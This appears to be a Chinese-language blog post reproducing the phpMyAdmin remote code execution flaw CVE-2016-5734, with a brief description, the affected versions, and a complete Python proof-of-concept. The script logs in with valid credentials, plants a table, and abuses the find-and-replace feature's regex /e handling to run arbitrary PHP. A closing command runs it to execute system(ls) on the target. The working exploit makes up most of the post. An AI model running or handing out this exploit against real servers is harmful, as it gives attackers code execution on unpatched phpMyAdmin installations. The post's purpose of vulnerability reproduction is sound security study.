phpMyAdmin远程代码执行(CVE-2016-5734)

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。

phpMyAdmin中存在安全漏洞,该漏洞源于程序没有正确选择分隔符来避免使用preg_replace e修饰符。远程攻击者可借助特制的字符串利用该漏洞执行任意PHP代码。

受影响的版本

phpMyAdmin 4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本

漏洞复现

访问your-ip:8080可以看到phpmyadmin登录页面

 

 POC如下:

  1 import requests
  2 import argparse
  3 import sys
  4 
  5 __author__ = "@iamsecurity"
  6 
  7 if __name__ == '__main__':
  8     parser = argparse.ArgumentParser()
  9     parser.add_argument("url", type=str, help="URL with path to PMA")
 10     parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
 11     parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
 12     parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
 13     parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
 14     parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
 15     arguments = parser.parse_args()
 16     url_to_pma = arguments.url
 17     uname = arguments.user
 18     upass = arguments.pwd
 19     if arguments.dbs:
 20         db = arguments.dbs
 21     else:
 22         db = "test"
 23     token = False
 24     custom_table = False
 25     if arguments.table:
 26         custom_table = True
 27         table = arguments.table
 28     else:
 29         table = "prgpwn"
 30     if arguments.cmd:
 31         payload = arguments.cmd
 32     else:
 33         payload = "system('uname -a');"
 34 
 35     size = 32
 36     s = requests.Session()
 37     # you can manually add proxy support it's very simple ;)
 38     # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
 39     s.verify = False
 40     sql = '''CREATE TABLE `{0}` (
 41       `first` varchar(10) CHARACTER SET utf8 NOT NULL
 42     ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
 43     INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
 44     '''.format(table)
 45 
 46     # get_token
 47     resp = s.post(url_to_pma + "/?lang=en", dict(
 48         pma_username=uname,
 49         pma_password=upass
 50     ))
 51     if resp.status_code is 200:
 52         token_place = resp.text.find("token=") + 6
 53         token = resp.text[token_place:token_place + 32]
 54     if token is False:
 55         print("Cannot get valid authorization token.")
 56         sys.exit(1)
 57 
 58     if custom_table is False:
 59         data = {
 60             "is_js_confirmed": "0",
 61             "db": db,
 62             "token": token,
 63             "pos": "0",
 64             "sql_query": sql,
 65             "sql_delimiter": ";",
 66             "show_query": "0",
 67             "fk_checks": "0",
 68             "SQL": "Go",
 69             "ajax_request": "true",
 70             "ajax_page_request": "true",
 71         }
 72         resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
 73         if resp.status_code == 200:
 74             if "success" in resp.json():
 75                 if resp.json()["success"] is False:
 76                     first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
 77                     error = first[:first.find("</code>")]
 78                     if "already exists" in error:
 79                         print(error)
 80                     else:
 81                         print("ERROR: " + error)
 82                         sys.exit(1)
 83     # build exploit
 84     exploit = {
 85         "db": db,
 86         "table": table,
 87         "token": token,
 88         "goto": "sql.php",
 89         "find": "0/e\0",
 90         "replaceWith": payload,
 91         "columnIndex": "0",
 92         "useRegex": "on",
 93         "submit": "Go",
 94         "ajax_request": "true"
 95     }
 96     resp = s.post(
 97         url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
 98     )
 99     if resp.status_code == 200:
100         result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
101         if len(result):
102             print("result: " + result)
103             sys.exit(0)
104         print(
105             "Exploit failed!\n"
106             "Try to manually set exploit parameters like --table, --database and --token.\n"
107             "Remember that servers with PHP version greater than 5.4.6"
108             " is not exploitable, because of warning about null byte in regexp"
109         )
110         sys.exit(1)

运行POC即可  python 1.py -c "system(ls);" -u root -p root -d test http://your-ip:8080/

 

 成功执行ls命令

 

posted @ 2021-05-23 13:30  whited  阅读(294)  评论(0编辑  收藏  举报